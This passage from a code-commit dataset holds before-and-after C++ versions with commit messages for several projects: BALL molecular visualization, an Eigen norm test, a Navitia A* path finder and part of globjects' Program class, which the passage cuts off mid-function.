ColorProcessor::operator() (GeometricObject*& object)\n{\n\tif (object->getComposite() == 0)\n\t{\n\t\tobject->setColor(default_color_); \n\t\treturn Processor::CONTINUE;\n\t}\n\t\n\tif (!RTTI::isKindOf<ColorExtension2>(*object))\n\t{\n\t\tobject->setColor(getColor(object->getComposite())); \n\t\treturn Processor::CONTINUE;\n\t}\n\n\tif (RTTI::isKindOf<Bond>(*object->getComposite()))\n\t{\n\t\tBond* bond = (Bond*) object->getComposite();\n\t\tobject->setColor(getColor(bond->getFirstAtom()));\n\t\t((ColorExtension2*)object)->setColor2(getColor(bond->getSecondAtom()));\n\t}\n\telse\n\t{\n\t\tColorRGBA color = getColor(object->getComposite());\n\t\tobject->setColor(color); \n\t\t((ColorExtension2*)object)->setColor2(color); \n\t}\n\treturn Processor::CONTINUE;\n}\n\n} } \/\/ namespaces\n<commit_msg>fixed problem with cast in operator ()<commit_after>\/\/ -*- Mode: C++; tab-width: 2; -*-\n\/\/ vi: set ts=2:\n\/\/\n\/\/ $Id: colorProcessor.C,v 1.6 2003\/10\/18 10:22:43 amoll Exp $\n\n#include <BALL\/VIEW\/MODELS\/colorProcessor.h>\n#include <BALL\/VIEW\/DATATYPE\/colorExtension2.h>\n#include <BALL\/KERNEL\/bond.h>\n\nusing namespace std;\n\nnamespace BALL\n{\n\tnamespace VIEW\n\t{\n\nColorProcessor::ColorProcessor()\n\tthrow()\n\t:\tUnaryProcessor<GeometricObject*>()\n{\n\tclear();\n}\n\nColorProcessor::ColorProcessor(const ColorProcessor& color_Processor)\n\tthrow()\n\t:\tUnaryProcessor<GeometricObject*>(color_Processor),\n\t\tdefault_color_(color_Processor.default_color_)\n{\n}\n\nColorProcessor::~ColorProcessor()\n{\n\t#ifdef BALL_VIEW_DEBUG\n\t\tLog.error() << \"Destructing object \" << (void *)this \n\t\t\t\t\t\t\t\t<< \" of class \" << RTTI::getName<ColorProcessor>() << std::endl;\n\t#endif \n}\n\nvoid ColorProcessor::clear()\n\tthrow()\n{\n\tdefault_color_.set(\"FF0000FF\");\n}\n\nvoid ColorProcessor::set(const ColorProcessor& color_Processor)\n\tthrow()\n{\n\tdefault_color_ = color_Processor.default_color_;\n}\n\n\nconst ColorProcessor& ColorProcessor::operator = (const ColorProcessor& color_Processor)\n\tthrow()\n{\n\tset(color_Processor);\n\treturn *this;\n}\n\n\nvoid ColorProcessor::swap(ColorProcessor& color_Processor)\n\tthrow()\n{\n\tdefault_color_.swap(color_Processor.default_color_);\n}\n\n\nvoid ColorProcessor::dump(ostream& s, Size depth) const\n\tthrow()\n{\n\tBALL_DUMP_STREAM_PREFIX(s);\n\t\n\tBALL_DUMP_DEPTH(s, depth);\n\tBALL_DUMP_HEADER(s, this, this);\n\n\tBALL_DUMP_DEPTH(s, depth);\n\ts << \"default_color: \" << default_color_ << endl;\n\t\t\t\n\tBALL_DUMP_STREAM_SUFFIX(s);\n}\n\nProcessor::Result ColorProcessor::operator() (GeometricObject*& object)\n{\n\tif (object->getComposite() == 0)\n\t{\n\t\tobject->setColor(default_color_); \n\t\tif (RTTI::isKindOf<ColorExtension2>(*object))\n\t\t{\n\t\t\tColorExtension2* two_colored = dynamic_cast<ColorExtension2*>(object);\n\t\t\ttwo_colored->setColor2(default_color_);\n\t\t}\n\t\treturn Processor::CONTINUE;\n\t}\n\t\n\tif (!RTTI::isKindOf<ColorExtension2>(*object))\n\t{\n\t\tobject->setColor(getColor(object->getComposite())); \n\t\treturn Processor::CONTINUE;\n\t}\n\n\t\/\/ ok, we have a two colored object\n\tColorExtension2* two_colored = dynamic_cast<ColorExtension2*>(object);\n\tif (RTTI::isKindOf<Bond>(*object->getComposite()))\n\t{\n\t\tBond* bond = (Bond*) object->getComposite();\n\t\tobject->setColor(getColor(bond->getFirstAtom()));\n\t\ttwo_colored->setColor2(getColor(bond->getSecondAtom()));\n\t}\n\telse\n\t{\n\t\tColorRGBA color = getColor(object->getComposite());\n\t\tobject->setColor(color); \n\t\ttwo_colored->setColor2(color);\n\t}\n\treturn Processor::CONTINUE;\n}\n\n} } \/\/ namespaces\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Adicionado exercício 1069<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2009 Gael Guennebaud <g.gael@free.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n\ntemplate<typename MatrixType> void stable_norm(const MatrixType& m)\n{\n  \/* this test covers the following files:\n     StableNorm.h\n  *\/\n\n  typedef typename MatrixType::Scalar Scalar;\n  typedef typename NumTraits<Scalar>::Real RealScalar;\n\n  int rows = m.rows();\n  int cols = m.cols();\n\n  Scalar big = ei_random<Scalar>() * std::numeric_limits<RealScalar>::max() * 1e-4;\n  Scalar small = 1\/big;\n\n  MatrixType  vzero = MatrixType::Zero(rows, cols),\n              vrand = MatrixType::Random(rows, cols),\n              vbig(rows, cols),\n              vsmall(rows,cols);\n\n  vbig.fill(big);\n  vsmall.fill(small);\n\n  VERIFY_IS_MUCH_SMALLER_THAN(vzero.norm(), static_cast<RealScalar>(1));\n  VERIFY_IS_APPROX(vrand.stableNorm(),      vrand.norm());\n  VERIFY_IS_APPROX(vrand.blueNorm(),        vrand.norm());\n  VERIFY_IS_APPROX(vrand.hypotNorm(),       vrand.norm());\n\n  RealScalar size = m.size();\n\n  \/\/ test overflow\n  VERIFY_IS_NOT_APPROX(vbig.norm(),   ei_sqrt(size)*big); \/\/ here the default norm must fail\n  VERIFY_IS_APPROX(vbig.stableNorm(), ei_sqrt(size)*big);\n  VERIFY_IS_APPROX(vbig.blueNorm(),   ei_sqrt(size)*big);\n  VERIFY_IS_APPROX(vbig.hypotNorm(),  ei_sqrt(size)*big);\n\n  \/\/ test underflow\n  VERIFY_IS_NOT_APPROX(vsmall.norm(),   ei_sqrt(size)*small); \/\/ here the default norm must fail\n  VERIFY_IS_APPROX(vsmall.stableNorm(), ei_sqrt(size)*small);\n  VERIFY_IS_APPROX(vsmall.blueNorm(),   ei_sqrt(size)*small);\n  VERIFY_IS_APPROX(vsmall.hypotNorm(),  ei_sqrt(size)*small);\n}\n\nvoid test_stable_norm()\n{\n  for(int i = 0; i < g_repeat; i++) {\n    CALL_SUBTEST( stable_norm(Matrix<float, 1, 1>()) );\n    CALL_SUBTEST( stable_norm(Vector4d()) );\n    CALL_SUBTEST( stable_norm(VectorXd(ei_random<int>(10,2000))) );\n    CALL_SUBTEST( stable_norm(VectorXf(ei_random<int>(10,2000))) );\n    CALL_SUBTEST( stable_norm(VectorXcd(ei_random<int>(10,2000))) );\n  }\n}\n\n<commit_msg>Added missing casts.<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra.\n\/\/\n\/\/ Copyright (C) 2009 Gael Guennebaud <g.gael@free.fr>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include \"main.h\"\n\ntemplate<typename MatrixType> void stable_norm(const MatrixType& m)\n{\n  \/* this test covers the following files:\n     StableNorm.h\n  *\/\n\n  typedef typename MatrixType::Scalar Scalar;\n  typedef typename NumTraits<Scalar>::Real RealScalar;\n\n  int rows = m.rows();\n  int cols = m.cols();\n\n  Scalar big = ei_random<Scalar>() * std::numeric_limits<RealScalar>::max() * RealScalar(1e-4);\n  Scalar small = static_cast<RealScalar>(1)\/big;\n\n  MatrixType  vzero = MatrixType::Zero(rows, cols),\n              vrand = MatrixType::Random(rows, cols),\n              vbig(rows, cols),\n              vsmall(rows,cols);\n\n  vbig.fill(big);\n  vsmall.fill(small);\n\n  VERIFY_IS_MUCH_SMALLER_THAN(vzero.norm(), static_cast<RealScalar>(1));\n  VERIFY_IS_APPROX(vrand.stableNorm(),      vrand.norm());\n  VERIFY_IS_APPROX(vrand.blueNorm(),        vrand.norm());\n  VERIFY_IS_APPROX(vrand.hypotNorm(),       vrand.norm());\n\n  RealScalar size = static_cast<RealScalar>(m.size());\n\n  \/\/ test overflow\n  VERIFY_IS_NOT_APPROX(static_cast<Scalar>(vbig.norm()),   ei_sqrt(size)*big); \/\/ here the default norm must fail\n  VERIFY_IS_APPROX(static_cast<Scalar>(vbig.stableNorm()), ei_sqrt(size)*big);\n  VERIFY_IS_APPROX(static_cast<Scalar>(vbig.blueNorm()),   ei_sqrt(size)*big);\n  VERIFY_IS_APPROX(static_cast<Scalar>(vbig.hypotNorm()),  ei_sqrt(size)*big);\n\n  \/\/ test underflow\n  VERIFY_IS_NOT_APPROX(static_cast<Scalar>(vsmall.norm()),   ei_sqrt(size)*small); \/\/ here the default norm must fail\n  VERIFY_IS_APPROX(static_cast<Scalar>(vsmall.stableNorm()), ei_sqrt(size)*small);\n  VERIFY_IS_APPROX(static_cast<Scalar>(vsmall.blueNorm()),   ei_sqrt(size)*small);\n  VERIFY_IS_APPROX(static_cast<Scalar>(vsmall.hypotNorm()),  ei_sqrt(size)*small);\n}\n\nvoid test_stable_norm()\n{\n  for(int i = 0; i < g_repeat; i++) {\n    CALL_SUBTEST( stable_norm(Matrix<float, 1, 1>()) );\n    CALL_SUBTEST( stable_norm(Vector4d()) );\n    CALL_SUBTEST( stable_norm(VectorXd(ei_random<int>(10,2000))) );\n    CALL_SUBTEST( stable_norm(VectorXf(ei_random<int>(10,2000))) );\n    CALL_SUBTEST( stable_norm(VectorXcd(ei_random<int>(10,2000))) );\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n\nThis file is part of Navitia,\n    the software to build cool stuff with public transport.\n\nHope you'll enjoy and contribute to this project,\n    powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n    a non ending quest to the responsive locomotion way of traveling!\n\nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\nStay tuned using\ntwitter @navitia\nchannel `#navitia` on riot https:\/\/riot.im\/app\/#\/room\/#navitia:matrix.org\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#include \"astar_path_finder.h\"\n#include \"visitor.h\"\n\n#include <boost\/graph\/astar_search.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\nnamespace navitia {\nnamespace georef {\n\nAstarPathFinder::~AstarPathFinder() = default;\n\nvoid AstarPathFinder::init(const type::GeographicalCoord& start_coord,\n                           const type::GeographicalCoord& dest_projected_coord,\n                           nt::Mode_e mode,\n                           const float speed_factor) {\n    PathFinder::init_start(start_coord, mode, speed_factor);\n\n    \/\/ we initialize the costs to the maximum value\n    size_t n = boost::num_vertices(geo_ref.graph);\n    costs.assign(n, bt::pos_infin);\n\n    if (starting_edge.found) {\n        costs.at(starting_edge[source_e]) =\n            compute_cost_from_starting_edge_to_dist(starting_edge[source_e], dest_projected_coord);\n        costs.at(starting_edge[target_e]) =\n            compute_cost_from_starting_edge_to_dist(starting_edge[target_e], dest_projected_coord);\n    }\n}\n\nvoid AstarPathFinder::start_distance_or_target_astar(const navitia::time_duration& radius,\n                                                     const type::GeographicalCoord& dest_projected,\n                                                     const std::vector<vertex_t>& destinations) {\n    if (!starting_edge.found)\n        return;\n    computation_launch = true;\n    \/\/ We start astar from source and target nodes\n    try {\n        astar({starting_edge[source_e], starting_edge[target_e]},\n              astar_distance_heuristic(geo_ref.graph, dest_projected, 1. \/ double(default_speed[mode])),\n              astar_distance_or_target_visitor(radius, distances, destinations));\n    } catch (DestinationFound&) {\n    }\n}\n\n\/**\n * Launch an astar without initializing the data structure\n * Warning, it modifies the distances and the predecessors\n **\/\nvoid AstarPathFinder::astar(const std::array<georef::vertex_t, 2>& origin_vertexes,\n                            const astar_distance_heuristic& heuristic,\n                            const astar_distance_or_target_visitor& visitor) {\n    \/\/ Note: the predecessors have been updated in init\n\n    \/\/ Fill color map in white before A*\n    std::fill(color.data.get(), color.data.get() + (color.n + color.elements_per_char - 1) \/ color.elements_per_char,\n              0);\n\n    \/\/ we filter the graph to only use certain mean of transport\n    using filtered_graph = boost::filtered_graph<georef::Graph, boost::keep_all, TransportationModeFilter>;\n    auto g = filtered_graph(geo_ref.graph, {}, TransportationModeFilter(mode, geo_ref));\n    auto weight_map = boost::get(&Edge::duration, geo_ref.graph);\n    auto combiner = SpeedDistanceCombiner(speed_factor);\n\n    astar_shortest_paths_no_init_with_heap(g, origin_vertexes.front(), origin_vertexes.back(), heuristic, visitor,\n                                           weight_map, combiner);\n}\n\ntemplate <class Graph, class WeightMap, class Compare>\nvoid AstarPathFinder::astar_shortest_paths_no_init_with_heap(const Graph& g,\n                                                             const vertex_t& s_begin,\n                                                             const vertex_t& s_end,\n                                                             const astar_distance_heuristic& h,\n                                                             const astar_distance_or_target_visitor& vis,\n                                                             const WeightMap& weight,\n                                                             const SpeedDistanceCombiner& combine,\n                                                             const Compare& compare) {\n    typedef boost::d_ary_heap_indirect<vertex_t, 4, vertex_t*, navitia::time_duration*, Compare> MutableQueue;\n    MutableQueue Q(&costs[0], &index_in_heap_map[0], compare);\n\n    boost::detail::astar_bfs_visitor<astar_distance_heuristic, astar_distance_or_target_visitor, MutableQueue,\n                                     vertex_t*, navitia::time_duration*, navitia::time_duration*, WeightMap,\n                                     boost::two_bit_color_map<>, SpeedDistanceCombiner, Compare>\n        bfs_vis(h, vis, Q, &predecessors[0], &costs[0], &distances[0], weight, color, combine, compare,\n                navitia::seconds(0));\n\n    breadth_first_visit(g, &s_begin, &s_end, Q, bfs_vis, color);\n}\n\n\/\/ The cost of a starting edge is the distance from this edge to the projected destination point (distance_to_dest)\n\/\/ Plus the distance from this edge to the projected starting point (distances[v])\nnavitia::time_duration AstarPathFinder::compute_cost_from_starting_edge_to_dist(\n    const vertex_t& v,\n    const type::GeographicalCoord& dest_coord) const {\n    auto const& edge_coords = geo_ref.graph[v].coord;\n    auto const distance_to_dest = edge_coords.distance_to(dest_coord);\n    return navitia::seconds(distance_to_dest \/ double(default_speed[mode] * speed_factor)) + distances[v];\n}\n\n}  \/\/ namespace georef\n}  \/\/ namespace navitia\n<commit_msg>Revert \"[Kraken] Fix A* heuristic cost\"<commit_after>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n\nThis file is part of Navitia,\n    the software to build cool stuff with public transport.\n\nHope you'll enjoy and contribute to this project,\n    powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n    a non ending quest to the responsive locomotion way of traveling!\n\nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\nStay tuned using\ntwitter @navitia\nchannel `#navitia` on riot https:\/\/riot.im\/app\/#\/room\/#navitia:matrix.org\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#include \"astar_path_finder.h\"\n#include \"visitor.h\"\n\n#include <boost\/graph\/astar_search.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\nnamespace navitia {\nnamespace georef {\n\nAstarPathFinder::~AstarPathFinder() = default;\n\nvoid AstarPathFinder::init(const type::GeographicalCoord& start_coord,\n                           const type::GeographicalCoord& dest_projected_coord,\n                           nt::Mode_e mode,\n                           const float speed_factor) {\n    PathFinder::init_start(start_coord, mode, speed_factor);\n\n    \/\/ we initialize the costs to the maximum value\n    size_t n = boost::num_vertices(geo_ref.graph);\n    costs.assign(n, bt::pos_infin);\n\n    if (starting_edge.found) {\n        costs.at(starting_edge[source_e]) =\n            compute_cost_from_starting_edge_to_dist(starting_edge[source_e], dest_projected_coord);\n        costs.at(starting_edge[target_e]) =\n            compute_cost_from_starting_edge_to_dist(starting_edge[target_e], dest_projected_coord);\n    }\n}\n\nvoid AstarPathFinder::start_distance_or_target_astar(const navitia::time_duration& radius,\n                                                     const type::GeographicalCoord& dest_projected,\n                                                     const std::vector<vertex_t>& destinations) {\n    if (!starting_edge.found)\n        return;\n    computation_launch = true;\n    \/\/ We start astar from source and target nodes\n    try {\n        astar({starting_edge[source_e], starting_edge[target_e]},\n              astar_distance_heuristic(geo_ref.graph, dest_projected, 1. \/ double(default_speed[mode] * speed_factor)),\n              astar_distance_or_target_visitor(radius, distances, destinations));\n    } catch (DestinationFound&) {\n    }\n}\n\n\/**\n * Launch an astar without initializing the data structure\n * Warning, it modifies the distances and the predecessors\n **\/\nvoid AstarPathFinder::astar(const std::array<georef::vertex_t, 2>& origin_vertexes,\n                            const astar_distance_heuristic& heuristic,\n                            const astar_distance_or_target_visitor& visitor) {\n    \/\/ Note: the predecessors have been updated in init\n\n    \/\/ Fill color map in white before A*\n    std::fill(color.data.get(), color.data.get() + (color.n + color.elements_per_char - 1) \/ color.elements_per_char,\n              0);\n\n    \/\/ we filter the graph to only use certain mean of transport\n    using filtered_graph = boost::filtered_graph<georef::Graph, boost::keep_all, TransportationModeFilter>;\n    auto g = filtered_graph(geo_ref.graph, {}, TransportationModeFilter(mode, geo_ref));\n    auto weight_map = boost::get(&Edge::duration, geo_ref.graph);\n    auto combiner = SpeedDistanceCombiner(speed_factor);\n\n    astar_shortest_paths_no_init_with_heap(g, origin_vertexes.front(), origin_vertexes.back(), heuristic, visitor,\n                                           weight_map, combiner);\n}\n\ntemplate <class Graph, class WeightMap, class Compare>\nvoid AstarPathFinder::astar_shortest_paths_no_init_with_heap(const Graph& g,\n                                                             const vertex_t& s_begin,\n                                                             const vertex_t& s_end,\n                                                             const astar_distance_heuristic& h,\n                                                             const astar_distance_or_target_visitor& vis,\n                                                             const WeightMap& weight,\n                                                             const SpeedDistanceCombiner& combine,\n                                                             const Compare& compare) {\n    typedef boost::d_ary_heap_indirect<vertex_t, 4, vertex_t*, navitia::time_duration*, Compare> MutableQueue;\n    MutableQueue Q(&costs[0], &index_in_heap_map[0], compare);\n\n    boost::detail::astar_bfs_visitor<astar_distance_heuristic, astar_distance_or_target_visitor, MutableQueue,\n                                     vertex_t*, navitia::time_duration*, navitia::time_duration*, WeightMap,\n                                     boost::two_bit_color_map<>, SpeedDistanceCombiner, Compare>\n        bfs_vis(h, vis, Q, &predecessors[0], &costs[0], &distances[0], weight, color, combine, compare,\n                navitia::seconds(0));\n\n    breadth_first_visit(g, &s_begin, &s_end, Q, bfs_vis, color);\n}\n\n\/\/ The cost of a starting edge is the distance from this edge to the projected destination point (distance_to_dest)\n\/\/ Plus the distance from this edge to the projected starting point (distances[v])\nnavitia::time_duration AstarPathFinder::compute_cost_from_starting_edge_to_dist(\n    const vertex_t& v,\n    const type::GeographicalCoord& dest_coord) const {\n    auto const& edge_coords = geo_ref.graph[v].coord;\n    auto const distance_to_dest = edge_coords.distance_to(dest_coord);\n    return navitia::seconds(distance_to_dest \/ double(default_speed[mode] * speed_factor)) + distances[v];\n}\n\n}  \/\/ namespace georef\n}  \/\/ namespace navitia\n<|endoftext|>"}
{"text":"<commit_before>\n#include <globjects\/Program.h>\n\n#include <cassert>\n\n#include <glbinding\/gl\/functions.h>\n#include <glbinding\/gl\/extension.h>\n#include <glbinding\/gl\/boolean.h>\n#include <glbinding\/gl\/enum.h>\n\n#include <globjects\/globjects.h>\n\n#include <globjects\/Uniform.h>\n#include <globjects\/ObjectVisitor.h>\n#include <globjects\/ProgramBinary.h>\n#include <globjects\/Shader.h>\n#include <globjects\/AbstractUniform.h>\n\n#include \"Resource.h\"\n#include \"registry\/ImplementationRegistry.h\"\n#include \"implementations\/AbstractProgramBinaryImplementation.h\"\n\n\nusing namespace gl;\n\nnamespace\n{\n\nconst globjects::AbstractProgramBinaryImplementation & binaryImplementation()\n{\n    return globjects::ImplementationRegistry::current().programBinaryImplementation();\n}\n\n}\n\nnamespace globjects\n{\n\nvoid Program::hintBinaryImplementation(const BinaryImplementation impl)\n{\n    ImplementationRegistry::current().initialize(impl);\n}\n\n\nProgram::Program()\n: Object(new ProgramResource)\n, m_linked(false)\n, m_dirty(true)\n{\n}\n\nProgram::Program(ProgramBinary * binary)\n: Program()\n{\n    setBinary(binary);\n}\n\nProgram::~Program()\n{\n    for (std::pair<LocationIdentity, ref_ptr<AbstractUniform>> uniformPair : m_uniforms)\n        uniformPair.second->deregisterProgram(this);\n\n    if (0 == id())\n    {\n        for (auto & shader : m_shaders)\n            shader->deregisterListener(this);\n    }\n    else\n    {\n        for (ref_ptr<Shader> shader : std::set<ref_ptr<Shader>>(m_shaders))\n            detach(shader);\n    }\n}\n\nvoid Program::accept(ObjectVisitor & visitor)\n{\n\tvisitor.visitProgram(this);\n}\n\nvoid Program::use() const\n{\n\tcheckDirty();\n\n    if (!isLinked())\n        return;\n\n    glUseProgram(id());\n}\n\nvoid Program::release() const\n{\n    if (!isLinked())\n        return;\n\n    glUseProgram(0);\n}\n\nbool Program::isUsed() const\n{\n    GLuint currentProgram = static_cast<GLuint>(getInteger(GL_CURRENT_PROGRAM));\n\n    return currentProgram > 0 && currentProgram == id();\n}\n\nbool Program::isLinked() const\n{\n\treturn m_linked;\n}\n\nvoid Program::invalidate() const\n{\n\tm_dirty = true;\n}\n\nvoid Program::notifyChanged(const Changeable *)\n{\n\tinvalidate();\n}\n\nvoid Program::checkDirty() const\n{\n    if (m_dirty)\n        link();\n}\n\nvoid Program::attach(Shader * shader)\n{\n    assert(shader != nullptr);\n\n    gl::glAttachShader(id(), shader->id());\n\n    shader->registerListener(this);\n    m_shaders.insert(shader);\n\n    invalidate();\n}\n\nvoid Program::detach(Shader * shader)\n{\n    assert(shader != nullptr);\n\n    glDetachShader(id(), shader->id());\n\n\tshader->deregisterListener(this);\n\tm_shaders.erase(shader);\n\n\tinvalidate();\n}\n\nstd::set<Shader *> Program::shaders() const\n{\n\tstd::set<Shader *> shaders;\n    for (ref_ptr<Shader> shader: m_shaders)\n\t\tshaders.insert(shader);\n\treturn shaders;\n}\n\nvoid Program::link() const\n{\n    m_linked = false;\n\n    if (!binaryImplementation().updateProgramLinkSource(this))\n        return;\n\n    glLinkProgram(id());\n\n    m_linked = checkLinkStatus();\n\tm_dirty = false;\n\n    updateUniforms();\n    updateUniformBlockBindings();\n}\n\nbool Program::compileAttachedShaders() const\n{\n    for (Shader * shader : shaders())\n    {\n        if (shader->isCompiled())\n            continue;\n\n        \/\/ Some drivers (e.g. nvidia-331 on Ubuntu 13.04 automatically compile shaders during program linkage)\n        \/\/ but we don't want to depend on such behavior\n        shader->compile();\n\n        if (!shader->isCompiled())\n            return false;\n    }\n    return true;\n}\n\nbool Program::checkLinkStatus() const\n{\n    if (GL_FALSE == static_cast<GLboolean>(get(GL_LINK_STATUS)))\n    {\n        critical() << \"Linker error:\" << std::endl << infoLog();\n        return false;\n    }\n    return true;\n}\n\nvoid Program::bindFragDataLocation(const GLuint index, const std::string & name) const\n{\n    glBindFragDataLocation(id(), index, name.c_str());\n}\n\nvoid Program::bindAttributeLocation(const GLuint index, const std::string & name) const\n{\n    glBindAttribLocation(id(), index, name.c_str());\n}\n\nGLint Program::getFragDataLocation(const std::string & name) const\n{\n    return glGetFragDataLocation(id(), name.c_str());\n}\n\nGLint Program::getFragDataIndex(const std::string & name) const\n{\n    return glGetFragDataIndex(id(), name.c_str());\n}\n\nGLint Program::getUniformLocation(const std::string& name) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return -1;\n\n    return glGetUniformLocation(id(), name.c_str());\n}\n\nstd::vector<GLint> Program::getAttributeLocations(const std::vector<std::string> & names) const\n{\n    std::vector<GLint> locations(names.size());\n    for (unsigned i = 0; i<names.size(); ++i)\n    {\n        locations[i] = getAttributeLocation(names[i]);\n    }\n    return locations;\n}\n\nstd::vector<GLint> Program::getUniformLocations(const std::vector<std::string> & names) const\n{\n    std::vector<GLint> locations(names.size());\n    for (unsigned i = 0; i<names.size(); ++i)\n    {\n        locations[i] = getUniformLocation(names[i]);\n    }\n    return locations;\n}\n\nGLint Program::getAttributeLocation(const std::string & name) const\n{\n\tcheckDirty();\n    if (!m_linked)\n        return -1;\n\n    return glGetAttribLocation(id(), name.c_str());\n}\n\nvoid Program::getInterface(gl::GLenum programInterface, gl::GLenum pname, gl::GLint * params) const\n{\n    checkDirty();\n\n    glGetProgramInterfaceiv(id(), programInterface, pname, params);\n}\n\nGLuint Program::getResourceIndex(const GLenum programInterface, const std::string & name) const\n{\n    checkDirty();\n\n    return glGetProgramResourceIndex(id(), programInterface, name.data());\n}\n\nvoid Program::getResourceName(gl::GLenum programInterface, gl::GLuint index, gl::GLsizei bufSize, gl::GLsizei * length, char * name)\n{\n    checkDirty();\n\n    glGetProgramResourceName(id(), programInterface, index, bufSize, length, name);\n}\n\nvoid Program::getResource(gl::GLenum programInterface, gl::GLuint index, gl::GLsizei propCount, const gl::GLenum * props, gl::GLsizei bufSize, gl::GLsizei * length, gl::GLint * params)\n{\n    checkDirty();\n\n    glGetProgramResourceiv(id(), programInterface, index, propCount, props, bufSize, length, params);\n}\n\ngl::GLint Program::getResourceLocation(gl::GLenum programInterface, const std::string & name)\n{\n    checkDirty();\n\n    return glGetProgramResourceLocation(id(), programInterface, name.data());\n}\n\ngl::GLint Program::getResourceLocationIndex(gl::GLenum programInterface, const std::string & name)\n{\n    checkDirty();\n\n    return glGetProgramResourceLocationIndex(id(), programInterface, name.data());\n}\n\ngl::GLint Program::getResource(gl::GLenum programInterface, gl::GLuint index, gl::GLenum prop, gl::GLsizei * length)\n{\n    gl::GLint result;\n\n    getResource(programInterface, index, 1, &prop, 1, length, &result);\n\n    return result;\n}\n\nstd::vector<gl::GLint> Program::getResource(gl::GLenum programInterface, gl::GLuint index, const std::vector<gl::GLenum> & props, gl::GLsizei * length)\n{\n    std::vector<gl::GLint> result;\n    result.resize(props.size());\n\n    getResource(programInterface, index, props, result.size(), length, result.data());\n\n    return result;\n}\n\nvoid Program::getResource(gl::GLenum programInterface, gl::GLuint index, const std::vector<gl::GLenum> & props, gl::GLsizei bufSize, gl::GLsizei * length, gl::GLint * params)\n{\n    getResource(programInterface, index, props.size(), props.data(), bufSize, length, params);\n}\n\nstd::string Program::getResourceName(gl::GLenum programInterface, gl::GLuint index)\n{\n    std::vector<char> result;\n\n    size_t nameLength = getResource(programInterface, index, gl::GL_NAME_LENGTH);\n    result.resize(nameLength + 1);\n\n#ifndef NDEBUG\n    gl::GLint length;\n    getResourceName(programInterface, index, nameLength, &length, result.data());\n    assert(length + 1 == static_cast<gl::GLint>(nameLength)); \/\/ length does NOT include the null-terminator\n#else\n    getResourceName(programInterface, index, nameLength, NULL, result.data());\n#endif\n\n    return std::string(result.data(), nameLength);\n}\n\nGLuint Program::getUniformBlockIndex(const std::string & name) const\n{\n    checkDirty();\n\n    return glGetUniformBlockIndex(id(), name.c_str());\n}\n\nvoid Program::getActiveUniforms(const GLsizei uniformCount, const GLuint * uniformIndices, const GLenum pname, GLint * params) const\n{\n    checkDirty();\n\n    glGetActiveUniformsiv(id(), uniformCount, uniformIndices, pname, params);\n}\n\nstd::vector<GLint> Program::getActiveUniforms(const std::vector<GLuint> & uniformIndices, const GLenum pname) const\n{\n    std::vector<GLint> result(uniformIndices.size());\n    getActiveUniforms(static_cast<GLint>(uniformIndices.size()), uniformIndices.data(), pname, result.data());\n    return result;\n}\n\nstd::vector<GLint> Program::getActiveUniforms(const std::vector<GLint> & uniformIndices, const GLenum pname) const\n{\n    std::vector<GLuint> indices(uniformIndices.size());\n    for (unsigned i=0; 